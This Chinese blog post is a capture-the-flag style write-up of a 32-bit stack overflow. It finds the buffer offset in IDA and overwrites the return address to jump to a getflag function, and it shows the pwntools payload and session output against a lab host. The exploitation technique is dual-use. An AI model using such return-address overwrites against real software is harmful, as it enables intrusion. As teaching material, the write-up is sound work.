Fidcer'Blog

Retaddr

字数统计: 379阅读时长: 1 min
2019/04/19 Share

###Retaddr

这是最典型的栈溢出利用是覆盖程序的返回地址为攻击者所控制的地址

通过checksec检查编译的程序,程序为32位 开启NX保护。

image-20190414200433236

将程序放入32位的ida F5反编译,

B933DFBA-1D00-479B-A5B0-87BD1DEF82B0

点开stkof函数,可以看到字符串距离ebp的长度为0x108

A959A146-6E01-4FE4-A8B0-5028F779760E

那么栈的结构就为

C2F68AF7-CE1D-4D78-A299-3A1AEE7CEA80

我们现在只需要找到正确的返回地址就能拿到flag,我们看到ida中有一个getflag的函数

D866699F-0DD4-4777-8CD8-D2431CC6A79F

我们需要找到getflag函数的入口,在ida中按tab 发现getflag的地址为0x0804856B

image-20190414201858448

那么我们的payload就写为

1
0x108*'a'+'bbbb'+0x0804856B

B0C22B76-FF5F-44B5-A296-135444AF5A20

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
>>> from pwn import *
>>> target = 0x0804856B
>>> r = remote('192.168.235.143',9992)
[x] Opening connection to 192.168.235.143 on port 9992
[x] Opening connection to 192.168.235.143 on port 9992: Trying 192.168.235.143
[+] Opening connection to 192.168.235.143 on port 9992: Done
>>> payload = 0x108*'a'+'bbbb'+p32(target)
>>> r.sendline(payload)
>>> r.recvline()
'Do you know "return address"?\n'
>>> r.recvline()
'You got the right return address!\n'
>>> r.recvline()
'Take your flag and keep going: 123\n'
>>>

将 saved ebp 覆盖为 bbbb,将 retaddr 覆盖为 target,即,此时的栈结构为

80DBDD44-F385-4B2D-BD91-0707261C8082

但是需要注意的是,由于在计算机内存中,每个值都是按照字节存储的。一般情况下都是采用小端存储,即 0x0804843B 在内存中的形式需要用pwn模块中的p32转换为机器语言

原文作者:Fidcer

原文链接:https://vuln.top/2019/04/19/Retaddr/

发表日期:April 19th 2019, 12:00:37 pm

更新日期:April 19th 2019, 8:48:16 pm

版权声明:本文采用知识共享署名-非商业性使用 4.0 国际许可协议进行许可

CATALOG